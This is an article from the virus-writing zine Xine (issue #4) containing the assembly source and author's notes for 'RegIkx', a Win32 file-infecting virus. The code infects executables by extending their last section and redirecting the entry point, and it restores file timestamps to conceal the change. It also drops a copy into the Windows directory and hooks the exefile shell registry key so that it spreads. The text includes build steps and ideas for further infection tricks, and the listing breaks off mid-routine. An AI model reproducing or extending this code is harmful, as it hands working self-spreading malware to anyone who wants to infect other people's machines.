
                                        /-----------------------------\
                                        | Xine - issue #4 - Phile 205 |
                                        \-----------------------------/

;Again a new virus idea, for a long time I have chatted away about
;this type of virus. Finaly relaizing that no one else wanted to do this
;I did it. This was a what i call a dead time project. Whenever I had
;spare time I worked on it sometimes it sat for a month b4 I looked at it
;again. This lead to strange code, due to every time I did feel like
;working on it I was intrigue with a new concept, nothing major, but enough
;to make the code seem more hodgepodge then my usual mess :>. (Sorry to all
;the coders who do not like upper and lower mix of chars, but I sorta like it) 
;Alright the program is made up to 2 parts One a regular PE file made by tasm
;but modified with debug.

;First it is compile with
;tasm32 /ml /m3 reg,;  
;tlink32 /Tpe /aa /c /B:0400000 -x  reg,r1,,,
;this creates a file that has .DATA only section , I hand code the IData stuff
;see cerebrus virus for more info on this
;then I use a debug script to modify a few things

;Increase Header size to 600h           Allow the full header
;                                       to be copy into Memory

;Set Idata Location                     So OS knows where to load the Idata
;Set Idata Size
;
;Set Flags of the DATA sect to R/W/Exec Not really need since data will
;                                       execute fine
;
;Edit the BASE of the Code              Since I have no code section
;Edit Size     of Code                  Tasm does not set these and WinNt
;                                       Chokes if not set properly 

;Move the PE Header from 100h to 80h    Why not, actual gives me more free
;                                       space in one spot for say other
;                                       viruses Not really use in this virus
;Move any code up to the end of the header area again not really use in this
;virus just an idea I was curoius about.
;
;Allright now we have a 2000h exe which when run will look for the command line
;and execute the exe file if it is there
;Now before it executes the file it will infecting using standard technique of
;expanding the last section and ensuring the last section is r/w
;How may you ask does the file get someone to give it a exe name as a command
;line you may ask. When the file it has infected is run the second part of
;the code it run. Using standard vx technique's to find the k32 API it needs
;It first reads the Registry entry  "HKEY_CLASSES_ROOT\exefile\shell\test\command",0
; it checks if the entry starts with RegIkx.exe, if so dont bother if not
;it writes the entry "RegIkx.exe" %1 %*
;(So when someone right clicks on the mouse over a ExeFile they will see
;Test as one of the Options if then then click test windows runs
;"Regikx.exe" FullPathFileName CommandLine Parms this is how the file spreads)
;Now it gets the Windows Directory and creats RegIkx.exe in it. then
;close the File, close the Registry and jmps back to the host
;Clear as Murky Water right :>
;I Use a space as first char of the last section name to id file as infected
;Display a poem when no command line is passed to it
;may as well confuse the issue in case a user does decide to run the exe by
;itself
;
;Well the rest is in the code, you can recompile with a Diffrent Register
;setting which will then call RegIkx every time the user clicks on a exe
;I have that setting rem out for testing purposes
;Well enjoy and Read the code
;Murkry
;-------------------------------------------------------------
;As usual what follows is notes I made as I was working on this
;project
;-------------------------------------------------------------
;This is being compile with no code of idata section
;only the a DATA section which in Win9? can still execute code???
;as a side note this seems that while code is code data it code as well
;you can then put code in the k32 data section and execute it....
;not sure if winnt supports this but I did try stack space in winnt 4.0,
;yes it let me execute it fine.
;to be sure I am altering the flags to be code and exec as well as
;the data the flags will then be 600000E0
;
;The "RealFile will infect the files off the commandline
;copying the first 600h bytes from the MZ header then copy the
;next 600 from the start of the "virii" code down the infect addtion
; to the end file should be about 800-900; probaly be easier to copy
;the header to the top of the section then we can add and change things as we
;go
;Why 600 when the header size is usual 400h simple Borland pads everthing
;so there is a extra 200 bytes that lay in waste on disk but do not get loaded
;to memory, unless you make the header size 600h which I do in the debug
;script
;so the file looks like this
;       on disk                     in memory after  move
;       ----------------            -----------------
;       MZ                   400000 MZ
;    80 PE                       80 PE
;       data or code                   data or code but exec not Write
;   600 Excutable code          600 End of header
;       idata cod data       401000 MZ
;                                80 PE
;                                   Usable Data or code r/w exec
;                               600 Idata code data
;
;Now when writing this file  as infection write from 401000 to end of code
;to recreate Excutable file write from 401000 for lenght of code pad to 4096
;****Note in winnt4.0 the file would just "exit" do nothing or at least
;appear to do that. Under Td32 in NT it would "error loading program"
;So I made entries to the SizeOfCode and BaseOfCode this allow it to work
;but then failed cause I cheated and used "USER32" not "USER32.DLL ok adjusted for
;that and all OK..Cept run from command line only file name but click on then
;full path name was passed. Oh well, I guess that there are some incompatiblity
;with the win32 subsets ;))

;Reg setting exefile infect "D:\TASM\VIRII\REGHOOK\R1.EXE" %1 %*
;Of course in real virus the exe would be in a windows directory
;so "R1.EXE" %1 %*  would work fine and Of course I use RegIkx.exe for
;final edition

;ideas to play with
;   Stack Infector use stack for code and data
;   modify the .text section to be data as well then you can write the
;      orginal "host" back after spreading
;   have a small "dos" prog modify one of the system dll's for code to data
;     the real virus code then goes tsr at the second run    
;   Write code that infects the data section and runs from there as well
;     just mod the eip to pnt there this opens up the idata,data,resc,reloc
;     just about any section can  be infected... 'cept AV'ers check this
; While I do not try to hide from AV'rs scanners I do try to mention methods
;that Av'ers should use  
 
.486
.model flat, stdcall

DEBUG EQU 1             ;REM THIS LINE TO REMOVE DEBUG CODE
;-------------------------------
;Used for access to the Registery
HKEY_CLASSES_ROOT equ   80000000h
REG_SZ            equ   1
REG_OPTION_NON_VOLATILE equ 0

;sometime I used this, note that many API return nonzero to signify
; True so  True != 0 is a better check 
True    equ     1
False   equ     0

;MZ pnter to PE or NE or LE ...
NEptr           equ     03ch

;Locations in PE header use JQwerty's(29A) inc files for more complete
;header info and other nice tricks
SectHdrSze      equ     028H
ImageSze        equ     050h
PEHdrSze        equ     0F8h

;-------------------------------
;PE Header Offsets
NumOfSect       equ     6
EipOff          equ     28h
SectAlign       equ     38h
FileAlign       equ     3Ch

;-------------------------------
;Section Entry Offsets
SectName        equ     0h
SectVsze        equ     8h
SectVadd        equ     0Ch
SectRawSze      equ     10h
SectPtrRaw      equ     14h
;Stuff not used
SectChar        equ     24h

;-------------------------------
;USed in CreateFile API calls
GENERIC_READ    equ     80000000h
GENERIC_WRITE   equ     40000000h
FATTR_NORMAL    equ     0
OPEN_EXISTING   equ     3
CREATE_NEW      equ     1

;Used for the Idata Section to get proper offsets
;I sometime have very convolted code that could be replaced with
; One static equ rather than the nonsense I typed, live with it...
;better yet..consider it a exercise for the student...

LoadAT  equ     01000h
offs    equ     offset PEheader ;+  LoadAT   + 400000h 

filler  equ     offset Data - PEheader

;Start of Code which is actaul in a section called Data
 

.data                                   ;the data area
PEheader:       ;will hold the Orginal MZ/PE info
        db      1A0h dup (00h)
;-------------------------------------------------------------
;Anything beyond this is data that will be carrier over from
;infection to infection after the first infection this will
;be copyed to a buffer area to be used for our code
;I used a debug script to make the intial file
;in most case this is just for placeholders exeptions are strings
;or numerics the virus really needs then they would be placed here
;then moved by the debug script
sBlank          db      ' ',0
Temp            dd      ?       ;Used for temp storage
fHandle         dd      ?       ;Open File Handle
PtrAddNew      dd      ?       ;Where the write the New Info

AddSize         dd      ?       ;Amount we have added to the file

;NewEip          dd      ?

ProcessInfo     dd      4h dup(?)
StartupInfo     dd      18h dup(?)

FileName        db      256 dup(0)
EXEcName        db      256 dup(0)

crTime          dd      2 dup (0)
laTime          dd      2 dup (0)
lwTime          dd      2 dup (0) 

;*******temp    db      "c:\windows\notepad.exe",0

BodyTitle       db      "Stoddart, And It Never Comes Again",00h
BodyMsg         db      "There are gains for all our losses,",0dh,0ah
                db      " There are balms for all our pain,",0dh,0ah
                db      "But when youth, the dream, departs",0dh,0ah
                db      "It takes something from our hearts,",0dh,0ah
                db      " and it never comes again",0dh,0ah
                db      0dh,0ah,0dh,0ah,0dh,0ah
                db      "             Murkry/IkX",0dh,0ah
                db      "Making life fun through 'tronic life",0dh,0ah
                db      "             RegIkx.ExE",0dh,0ah,00
;-------------------------------------------------------------
;Data area stops and the place holder takes over
;place holder used the formala so the IDATA always starts at 600h

Data:   ;place holder so we pad this out properly
        db      600h -  filler dup (00h)
;The Infection part of the Virus uses the 
IDATA:  
          DD      offset API_LOC2b - offset PEheader + LoadAT
                                ;  usual this has a redunat entry
                                ;We are not skipping it
                                ;  offset API_LOC1 - offset PEheader + LoadAT
                                                         
T1:     dd      0               ;time date stamp
        dd      0               ;where in memory this dll is loaded
 
        DD      offset DLL1 - offset PEheader + LoadAT        

        DD      offset API_LOC2 - offset PEheader + LoadAT     
 
;--------second DLL

        DD      offset API_LOC2Ab - offset PEheader + LoadAT
                                ;  usual this has a redunt entry
                                ;We are  not skipping it
                                ;  offset API_LOC1 - offset PEheader + LoadAT
                                                         
T2:     dd      0               ;time date stamp
        dd      0               ;where in memory this dll is loaded
 
        DD      offset DLLA - offset PEheader + LoadAT

        DD      offset API_LOC2A - offset PEheader + LoadAT     
        DD      00000000H


        DB       10H DUP(0)

API_LOC2:
exitp           DD      offset FUNC1 - offset PEheader + LoadAT    ;
beep            DD      offset FUNC2 - offset PEheader + LoadAT    ;4h
;VxdCall0       DD      80000001h                                  ;8h
getcomline      DD      offset FUNC3  - offset PEheader + LoadAT    ;Ch
createp         DD      offset FUNC4  - offset PEheader + LoadAT    ;10h        
Copy            DD      offset FUNC5  - offset PEheader + LoadAT
Create          DD      offset FUNC6  - offset PEheader + LoadAT
FileP           DD      offset FUNC7  - offset PEheader + LoadAT
Read            DD      offset FUNC8  - offset PEheader + LoadAT
Write           DD      offset FUNC9  - offset PEheader + LoadAT
Close           DD      offset FUNC10 - offset PEheader + LoadAT
FindFirst       DD      offset FUNC11 - offset PEheader + LoadAT
FindNext        DD      offset FUNC12 - offset PEheader + LoadAT
CloseFind       DD      offset FUNC13 - offset PEheader + LoadAT
FileSize        DD      offset FUNC14 - offset PEheader + LoadAT
WinEx           DD      offset FUNC15 - offset PEheader + LoadAT
GetTime         DD      offset FUNC16 - offset PEheader + LoadAT
SetTime         DD      offset FUNC17 - offset PEheader + LoadAT
                DD      0
API_LOC2A:
msgbox          DD      offset FUNCA - offset PEheader + LoadAT

                DD      0

SizeAPIAdd      equ     $ - Offset API_LOC2
;======================================================================

API_LOC2b:
exitpb           DD      offset FUNC1 - offset PEheader + LoadAT    ;
beepb            DD      offset FUNC2 - offset PEheader + LoadAT    ;4h
;VxdCall0b         DD      80000001h                                  ;8h
getcomlineb      DD      offset FUNC3  - offset PEheader + LoadAT    ;Ch
createpb         DD      offset FUNC4  - offset PEheader + LoadAT    ;10h        
Copyb            DD      offset FUNC5  - offset PEheader + LoadAT
Createb          DD      offset FUNC6  - offset PEheader + LoadAT
FilePb           DD      offset FUNC7  - offset PEheader + LoadAT
Readb            DD      offset FUNC8  - offset PEheader + LoadAT
Writeb           DD      offset FUNC9  - offset PEheader + LoadAT
Closeb           DD      offset FUNC10 - offset PEheader + LoadAT
FindFirstb       DD      offset FUNC11 - offset PEheader + LoadAT
FindNextb        DD      offset FUNC12 - offset PEheader + LoadAT
CloseFindb       DD      offset FUNC13 - offset PEheader + LoadAT
FileSizeb        DD      offset FUNC14 - offset PEheader + LoadAT
WinExb           DD      offset FUNC15 - offset PEheader + LoadAT
GetTimeb         DD      offset FUNC16 - offset PEheader + LoadAT
SetTimeb         DD      offset FUNC17 - offset PEheader + LoadAT
                 DD      0
API_LOC2Ab:
msgboxb          DD      offset FUNCA - offset PEheader + LoadAT

                 DD      0
;------------------------names of DLL         

DLL1    DB      'KERNEL32.DLL',0
DLLA    DB      'USER32.DLL',0

        dw      0               ;ends dll names

FUNC1   dw      0
        db      'ExitProcess',0

FUNC2   dw      0
        DB      'Beep',0

FUNC3   dw      0
        DB      'GetCommandLineA',0

FUNC4   dw      0
        db      'CreateProcessA',0
 
FUNC5   dw      0
        db      'CopyFileA',0
  
FUNC6   dw      0
        db      'CreateFileA',0
 
FUNC7   dw      0
        db      'SetFilePointer',0
  
FUNC8   dw      0
        db      'ReadFile',0
   
FUNC9   dw      0
        db      'WriteFile',0
    
FUNC10  dw      0
        db      'CloseHandle',0

FUNC11  dw      0
        db      'FindFirstFileA',0

FUNC12  dw      0
        db      'FindNextFileA',0

FUNC13  dw      0
        db      'FindClose',0

FUNC14  dw      0
        db      'GetFileSize',0

FUNC15  dw      0
        db      'WinExec',0

FUNC16  dw      0
        db      'GetFileTime',0

FUNC17  dw      0
        db      'SetFileTime',0


        db      0                       ;end of Function list for this DLL


FUNCA   dw      0
        db      'MessageBoxA',0
        dw      0

        db      0               ;end the function list
        db      0               ;end the DLL list


EndIDATA:
;By Default this will be R/W Exec section
Begin:
       ;move the header into our section
       ;really so this is info will be R\W 
        mov     eax,VSize
        call    $ + 5           ;Need any value in our address
        pop     Eax             ;area for GetMZ
        Call    GetMZ           ;Eax will return pntr to MZ header
        Mov     Esi,Eax
        mov     Edi,offset PEheader
        xor     ecx,ecx
        mov     ch,6            ;600 bytes 
        rep     movsb



       ;***Get CommandLine
        Call    FillFileNames        
   
        or      Eax,Eax         ;Eax = Zero then no file to infect or run
        je      NoFileToExec

 
        Call    InfectFile

        IFDEF DEBUG
                push     Eax 
                call     msgbox, large 0, Offset EXEcName ,offset FileName,Large 1
                pop      Eax
        ENDIF

        ;this could be used but to failed in one test in winnt
        ;CALL    WinEx, Offset EXEcName, large 1
        ;there was probaly another issue here
 
        ;Run the file using CreateProcess
                 Call    createp,       \
                 offset FileName,       \   ;module name
                 offset EXEcName,       \   ;command line
                 large 0,               \   ;sec attr
                 large 0,               \   ;thread sec
                 Large False,           \   ;inherit handles
                 large 0,               \   ;create flags
                 large 0,               \   ;Enviroment
                 large 0,               \   ;current directory
                 offset  StartupInfo,   \   ;startup info
                 offset ProcessInfo        ;process info
                 jmp    ExitMain

NoFileToExec:
        push     Eax 
        call     msgbox, large 0, Offset BodyMsg ,offset BodyTitle,Large 40h
        pop      Eax
                                
Problem:
        
NoCommandLine:
                
ExitMain:
       push     -1
       call     exitp
;------------------------------------------------------------------
InfectFile      PROC
                PushA

;Open the File r/w using Create file

        Call    dword ptr [Create] ,           \
                offset FileName,               \;File to Open
                GENERIC_READ or GENERIC_WRITE, \
                large 0,                       \
                Large 0,                       \
                large OPEN_EXISTING,           \
                large 0,                       \
                large 0                        

                mov     dword ptr [fHandle],eax
                inc     Eax
                je      @@FileNotOpenErr
                ;fBuff where to read info to

        Call    GetTime,[fHandle],offset crTime,offset laTime,offset lwTime
 
        Call    Read ,                  \
                [fHandle],              \ ;handle
                offset fBuff,           \ ;where to read to
                400h,                   \ ;how much to read
                offset Temp,            \ ;how much was read
                large 0                   ;overlapped amount not used win95


        Or      eax,eax                 ;Check if All is ok
        jz      @@ErrorFileOpenErr
        cmp     dword ptr [Temp],400h   ;Did we read all We wanted to
        jne     @@ErrorFileOpenErr

        lea     Esi, [fBuff + NEptr]    ;Get the ptr to the PE
        lodsd                           ;It would probaly be safer to
        or      Eax,Eax
        jz      @@ErrorFileOpenErr      ;Not a PE

        cmp     Eax,1a0h                ;If greater than this then avg
        jg      @@ErrorFileOpenErr      ;PE hdr would not fit in remaining
                                        ;space so quit

        add     eax,Offset fBuff        ;check for MZ as well
        xchg    Esi,Eax                 ;feel free to add that Check 
        cmp     word ptr [ESI],"EP"     ;if you Like
        jne     @@ErrorFileOpenErr

        ;Next check to see if we have the Section Entry for the
        ;last Section 
        ;ESI pnts to the PE offset
         
        mov     ax,word ptr [Esi +  NumOfSect]
        cwde                                    ;Convert ax to Eax
        dec     Eax

        mov     Ecx,SectHdrSze
        mul     Ecx

        Add     Eax,PEHdrSze
        cmp     Eax,400h
        jg      @@ErrorFileOpenErr

        add     Eax,Esi         ;Edi = offset to the LastSection
        xchg    Edi,Eax
        

        ;Now need to modify this last section
        ;Will Need to get FileSize as well....

        ;Debug just to see last section name if ".?????" infect
        ;if " ??????" already infected
        IFDEF DEBUG
                push     Eax 
                call     msgbox, large 0,  Edi ,Edi ,Large 1
                pop      Eax
        ENDIF

        ;check For Infection
        mov     bl,byte ptr [Edi]                       
        cmp     bl,20h                  ;check for space as first char
        je      @@InfectedAlready

        ;Otherwise assume we will infect
        mov     byte ptr [Edi],20h
        
        ;Get Eip and move it to the return area
        mov     Ebx, dword ptr [Esi + EipOff]
        mov     dword ptr [RegHook + 1], Ebx

        ;Set New Eip
        mov     Ebx,[Edi + SectRawSze]                  ;Get New Eip
        add     Ebx,[Edi + SectVadd]                    ;
        add     Ebx,Offset RegHook - offset PEheader    ;
        mov     [Esi + EipOff],Ebx                      ;Store It

        ;Setup How where we are adding all the code
        Mov     Eax, dword ptr [Edi + SectRawSze]
        Add     Eax,dword ptr[Edi + SectPtrRaw]
        Mov     [PtrAddNew],Eax

        ;Now We need to modify the last Section entry to
        ;hold the new code
        xor     Edx,Edx
        mov     Eax,VSize
        add     Eax, dword ptr [Edi + SectRawSze]
        dec     Eax
        or      Edx,Edx
        jne     @@ErrorFileOpenErr

        ;Update Section Raw Data Size
        mov     Ecx,[Esi + FileAlign]
        add     Eax,Ecx
        dec     Eax
        div     Ecx
        Mul     Ecx

        ;Save how much we will add to the file
        Push    Eax
        sub     Eax,[Edi + SectRawSze]
        mov     [AddSize],Eax
        Pop     Eax

        ;save the new raw data size of the section
        mov     [Edi + SectRawSze],Eax

        ;Using the new Raw Data Size update
        ;the Section virtual Size
        mov     Ecx,[Esi + SectAlign]
        dec     Eax
        add     Eax,Ecx
        div     Ecx
        Mul     Ecx

        ;while here lets update the ImageSze as well
        ;since some progs do not use a correct val in Vsize
        ;we make sure that our value is at least on a section alignment
        push    Eax
        sub     Eax,[Edi + SectVsze]
        dec     Eax
        div     Ecx
        mul     ecx
        add     [Esi + ImageSze],Eax
        pop     Eax

        mov     [Edi + SectVsze],Eax
        or     [Edi + SectChar],80000000h

        ;Now move the file ptr to the new size
        ;write this to the file
        ;Goto the start of the file and write the new Header
        ;close the file

        ;Set the ptr to the place where the old info ended
        Call dword ptr [FileP] , [fHandle], dword ptr [PtrAddNew] , large 0, large 0

        ;Write to the file using Write
                Call    dword ptr [Write],              \;
                                [fHandle],              \;handle
                                offset PEheader,        \;write from
                                dword ptr [AddSize],    \;size 
                                offset Temp,            \;how much written
                                large 0                 ;

        
        Call dword ptr [FileP] , [fHandle], large 0 , large 0, large 0

        ;Write to the file using Write
                Call    dword ptr [Write],              \;
                                [fHandle],              \;handle
                                offset fBuff,        \;write from
                                0400h,    \;size 
                                offset Temp,            \;how much written
                                large 0                 ;

        Call    SetTime,[fHandle],offset crTime,offset laTime,offset lwTime
 


@@InfectedAlready:
@@ErrorFileOpenErr:
                ;Close the file

                Call    Close, [fHandle]
@@FileNotOpenErr:
                PopA
                Ret
                EndP
;------------------------------------------------------------------

FillFileNames   PROC
  

        call     getcomline
        ;returns EAX = CommandLine

  
;Due to the way this virus will "hook" the registery it should always
;recieve "regIKX.exe" Host.exe args
;So to find the File we look for .exe
;first move the exe name to the FileNAme
;then Move the Entire line to the EXEcName

        ;move Eax to the command args

@@Next1:
        inc     Eax                     ;Get past first "
        cmp     byte ptr [Eax],'.'      ;Find Next
        jne     @@Next1

        mov     ebx,dword ptr [eax]     ;ebx = "EXE."
        and     EBX,0DFDFDFFFH
        cmp     EBX,"EXE."
        jne     @@Next1

 
        inc     Eax     ;.
        inc     Eax     ;E
        inc     Eax     ;X
        inc     Eax     ;E      ;At this point we should be looking at the
                                ;Next file we have to run and potential
                                ;any command line paremters to that file
 
 
@@Next2:
        cmp     byte ptr [Eax],'"'      ;
        jne     @@skip
        Inc     eax
@@skip:
        cmp     byte ptr [Eax]," "      ;
        je      @@Space                   ;we have command line info

        cmp     byte ptr [Eax],00
        je      @@NoCommandLine

@@Space:
        ;Load the  FileName and EXEcName
        mov     edi,offset FileName
        mov     esi,eax

@@RemoveSpace:
        cmp     byte ptr [esi]," "
        jne     @@NextNameByte
        inc     esi
        jmp     @@RemoveSpace

@@NextNameByte:
        lodsb

        cmp     al,"."
        je      @@a1
        cmp     al,0   
        je      @@NoFileToExec
        jmp     @@Cn1
@@a1:
        mov     Ebx,Dword ptr[ Esi -1]
        and     EBX,0DFDFDFFFH
        cmp     EBX,"EXE."
        jne     @@Cn1 
        mov     [Edi],Ebx
        mov     [Edi + 256d],Ebx
        lea     Esi, [Esi+3]
        lea     Edi, [Edi+4]
        je      @@EndExE
@@Cn1:
        stosb
        mov     byte ptr [edi + 255D],al
        Jmp     @@NextNameByte
@@EndExE:
        push    Edi
        xor     al,al
        stosb

        ;finish the EXEcName
        pop     edi
        inc     Edi
        lea     edi,[edi+255D]
        mov     al,20h
@@Cn3:
        stosb
        lodsb
        cmp     al,00
        je      @@NameDone
        jmp     @@Cn3
@@NameDone:

        ret

@@NoCommandLine:
@@NoFileToExec:
        XOR     Eax,Eax

        ret
        EndP 

;----------------------------------------------------------------
RegHook:
        db      68h
        dd      ?
        pushA

;I like my GetMZ routine but, I found a major bug
;while the odds are small that it will find a MZ and then a PE that
;is the wrong one it can happen and this virus is an examaple of that
;when it infects a file which has an (PE) file offset of 1000h when you
;round the offset given in the eax to the last offset of 1000h you are
;now pointing at the first byte of this virus in that file then you check
;for MZ, PE you find it ... Not the host start, but the virus start. Oh well
;cant be sure on everything so I "fix" it by ensureing that the
;the value in Eax is one less then the start of the virus
        Call    H1
H1:     Pop     Eax
        Sub     Eax,  offset H1 - Offset PEheader
        dec     Eax
        call    GetMZ                   ;Find where this file is loaded then
        add     [esp + 20h],eax         ;fix the return adress
        
        ;virus is set to return to the host when done
        ;now get the pntr off the stack that pnts to a K32 address
        ;use that to find the address to getprocaddress

        mov     Eax,[esp + 24h]         ;value inside Kernel32
                                        ;usauly...
        call    GetMZ                   ;Get the start of the k32
        or      Eax,Eax                 ;problem bail..
        jz      UhOh

        call    GetAPI                  ;get the Get Process Address
        or      Eax,Eax
        jz      UhOh                    ;problem bail

         
        pusha

        mov     ecx,SizeAPIAdd

        Call    $ + 5
        add     dword ptr [esp],Offset API_LOC2b - $     ;push a location
        pop     Esi

        Call    $ + 5
        add     dword ptr [esp],Offset API_LOC2 - $      ;push a location
        pop     Edi
        rep     Movsb

        xor     Eax,EAx
        Call    $ + 5
        add     dword ptr [esp],Offset T1 - $      ;push a location
        pop     Edi
        Stosd
        Stosd

        Call    $ + 5
        add     dword ptr [esp],Offset T2 - $      ;push a location
        pop     Edi
        Stosd
        Stosd

        popa


        push    Eax             ;Push the Eax
        Call    SetReg          ;Acual work is done here


UhOh:
        popA
        ret

        ;Make Section R\W and Exec
        ;
        ;CheckReg
        ;  CreateFile
        ;  SetReg
        ;CloseReg
        ;Host

;=====================================
;Passed to it
;On stack K32 = Kernel32 API
;and that fs:[14] = GetProcessAddress
;
SetReg  Proc  WINDOWS PASCAL
arg     @@K32:DWORD           ;args passed to us
;local variable space
local   @@hAdv:DWORD          ;advapi32 handle
local   @@LoadLib:DWORD       ;Address if LoadLib

local   @@RegOpen:DWORD
local   @@RegSet:DWORD
local   @@RegQuery:DWORD
local   @@RegEnum:DWORD
local   @@RegClose:DWORD

local   @@Write:DWORD
local   @@CreateF:DWORD
local   @@CloseH:DWORD
local   @@Read:DWORD
local   @@hKey:DWORD
local   @@mBox:DWORD
local   @@Buff:DWORD
local   @@Fhandle:DWORD          
local   @@Temp:DWORD

        call    @@GetLib
        db      "LoadLibraryA",0
@@GetLib:
        push    @@K32
        call    fs:[14h]
        mov     @@LoadLib,Eax

        call    @@GetAdv
        db      "Advapi32.dll",0
@@GetAdv:
        call    @@LoadLib

        mov     @@hAdv,Eax
        or      eax,eax         ;check to see if all is ok
        je      @@uups
;Now have all that is needed to read/write to a regisrty
;Try to open the Reg               

;Attempt to open the key or create a new one
;-------------------------------------------------
        call    @@GL1
        db      "RegCreateKeyExA",0
@@GL1:
        push    @@hAdv
        Call    @@GetProcAdd

 
        Call    @@Disp
        dd      ?
@@Disp:

        ;push    @@hKey
        LEA     ESI,@@hKey
        PUSH    ESI
        push    Large 0                         ;sec attr null
        push    0F003Fh                         ;regsam
        push    large REG_OPTION_NON_VOLATILE   ;Options

        call    @@GetNullSt                     ;null string
        db      "",0
@@GetNullSt:
        push    0                               ;resv

        call    @@Gs1
;StrLoc  db      "exefile\shell\open\command",0 ;for real use
StrLoc  db      "exefile\shell\test\command",0
@@Gs1:
        push    LARGE HKEY_CLASSES_ROOT
        call    ecx
 
        or      Eax,Eax
        jne     @@uups          ;couldn't open the key


;Ok have open the key now read and check if its ours
;----------------------------------------------------------------
;Read the string
        call    @@GL2
        db      "RegQueryValueExA",0
@@GL2:
        Push    @@hAdv
        Call    @@GetProcAdd



        Call    @@GetBufLen
        dd      255d
@@GetBufLen:

        Call    $ + 5
        add     dword ptr [esp],Offset EXEcName - $     ;push a location
        pop     esi
        push    esi
        mov    dword ptr [@@Buff],esi                  ;of a buffer
                                                        ;save it
;        Call    @@GetStr
;@@st    db      255d dup(0)
;@@GetStr:

        Call    @@GetDataType
        dd      1
@@GetDataType:
        push    large 0
        push    large 0
        push    [@@hKey]
        call    Ecx
;
        mov     esi,dword ptr[@@Buff]
 

        call    $ + 5
        add     dword ptr [esp],offset @@New - $
        pop     edi
        cmpsd
        je      @@CloseKey      ;allready done
;Ok its there but not ours so just unhook whatever is there and replace it
;need to make our file in the Windows system directory if we cant do that
;bail out
;----------------------------------------------------------------
;Createfile  
;1 Get windows directory
;2 Try to Create File
;       Bail if it exists ???              
;3 Write File from top 200 bytes
;  then Write again from top for rest of file
;4 close Handle

        call    @@GetWinDir
        db      "GetWindowsDirectoryA",0
@@GetWinDir:
        push    @@K32
        call    fs:[14h]

        call    $ + 5
        add     dword ptr [esp],offset FileName - $
        pop     edi

        Push    255D
        Push    Edi
        Call    Eax
        or      Eax,Eax
        jz      @@Prob

        Push    Edi

;This is the Key Entry we want to write
;"ReGIkX.exe" %1  %*
        add     Edi,Eax
        mov     Eax, "GeR\"
        stosd
        mov     Eax,".XkI"
        stosd
        mov     Eax,"ExE" + 00
        stosd

;Ok on Stack is the ptr to the string for our new file
;for the hell of it I'll us the the GetProcAdd and the
;string for CreateFileA in the other part of the Virus

        call    $ + 5
        add     dword ptr [esp],offset FUNC6+2 - $      ;Address of Str
                                                        ;CreateFileA
        Push    @@K32
        Call    @@GetProcAdd


        Pop     Edi             ;New File and Widows Directory


        Xor     Eax,Eax

        Push    Eax
        Push    Eax
        Push    CREATE_NEW      ;Create New File
        Push    0
        Push    0
        Push    GENERIC_WRITE   ;Only Write
        Push    Edi

        Call    Ecx             ;CreateFileA

        mov     [@@Fhandle],Eax
        inc     Eax
        jz      @@Prob

;Write to the File
        call    $ + 5
        add     dword ptr [esp],offset FUNC9 + 2 - $      ;Address of Str
                                                          ;WriteFileA
        Push    @@K32
        Call    @@GetProcAdd
        mov     edi,ecx
;-------
        Push    Large 0                 ;Not used Overlapped

        ;Push    @@Temp                 ;used to hold how much is written
        LEA     ESI,@@Temp              ;
        PUSH    ESI                     ;

        push    600h                    ;size to write

        call    $ + 5
        add     dword ptr [esp],offset PEheader - $      ;Address of 
                                                         ;Start of Virus
        Push    [@@Fhandle]           ;
         
        call    Ecx                     ;Write File

        or      Eax,Eax
        jz      @@ProbCloseFile

;--------

        Push    Large 0                 ;Not used Overlapped

        ;Push    @@Temp                 ;used to hold how much is written
        LEA     ESI,@@Temp              ;
        PUSH    ESI                     ;

        push    VSize                   ;size to write
       ; push    1A00h                   ;2000h - 600h from above

        call    $ + 5
        add     dword ptr [esp],offset PEheader - $      ;Address of 
                                                         ;Start of Virus
        Push    [@@Fhandle]           ;
         
        call    Edi                     ;Write File

        or      Eax,Eax
        jz      @@ProbCloseFile

;--------
        Push    Large 0                 ;Not used Overlapped

        ;Push    @@Temp                 ;used to hold how much is written
        LEA     ESI,@@Temp              ;
        PUSH    ESI                     ;

        push    (2000h - 600h - VSize)  ;size to write
 

        call    $ + 5
        add     dword ptr [esp],offset PEheader - $      ;Address of 
                                                         ;Start of Virus
        Push    [@@Fhandle]           ;
         
        call    Edi                     ;Write File

        or      Eax,Eax
        jz      @@ProbCloseFile



;-------------------------------------------------------------
 IFDEF DEBUG
                push     Eax 
                call    @@GetDebug
                db      "User32.dll",0
        @@GetDebug:
                call    @@LoadLib

        call    @@DebugMess
                db      'MessageBoxA',0
        @@DebugMess:
                push    eax
                call    fs:[14h]
                xchg    eax,ecx

                push    large 1         
                call    @@M1
                db      "Write File Sucess",0
        @@M1:   call    @@M2
                db      "GoodBye",0
        @@M2:   push    0
                call    Ecx
                pop     Eax
ENDIF
@@cont: 
;---------------------- 

@@ProbCloseFile:
;close the File
        call    $ + 5
        add     dword ptr [esp],offset FUNC10 + 2 - $   ;Address of Str
                                                        ;CloseHandle
        Push    @@K32
        Call    @@GetProcAdd

        mov     Eax,[@@Fhandle]
        call    Ecx
 

        ;Murk

@@Prob:          

;--------------------- 
;Now set the Registery key
        call    @@GL3
        db      "RegSetValueExA",0
@@GL3:
        Push    @@hAdv
        Call    @@GetProcAdd
        

;        push    large 18D               ;Should be lenght of string below
        push    @@StrLen
        call    @@GetNew
@@New:  db      '"ReGIkX.exe" %1 %*',0
@@StrLen        equ      $ - Offset @@New
@@GetNew:
        push    1
        push    0
        push    0
        push  [@@hKey]
        call   ecx       

;-------------------- 
@@CloseKey:
;Close the key
        call    @@GL4
        db      "RegCloseKey",0
@@GL4:
        Push    @@hAdv
        Call    @@GetProcAdd
        
        push    dword ptr [@@hKey]
        call    Ecx
;Murk1
;        push    255d
;        call    @@strBuf
;        db      255d dup(0)
;@@strBuf:
        
@@uups:
        ret

;=====================================
@@GetProcAdd PROC   WINDOWS   
;accepts the procname and the handle of a dll
;returns in ecx the address of the api
ARG     @@hAdv:DWORD,@@ProcName:Dword

        push    @@ProcName
        push    @@hAdv
        call    fs:[14h]
        xchg    eax,ecx
        ret
@@GetProcAdd EndP

SetReg  EndP
;=====================================
;-------------------------------------
;GetMZ subroutine
;Passed
;EAX = the address we want to start looking for
;Returns the MZ header location above this
;RETURNS IN EAX THE LOCATION OF THE MZ header
;Should be the Load VA for the program
GetMZ   Proc
	Pusha
	mov	ebp, esp

        ;Set up a SEH handler
@@GetMZ_SetSeh:
	call    $ + 5
        add     dword ptr [esp], Offset @@GetMZ_FindExcept  - $
	Push	dword ptr fs:[0]
	mov	fs: [0] , esp

        ;set Esi = eax
	Xchg	esi, eax

@@GetMZ_LoopFind:
        ;this checks for the MZ and the PE if both are not found
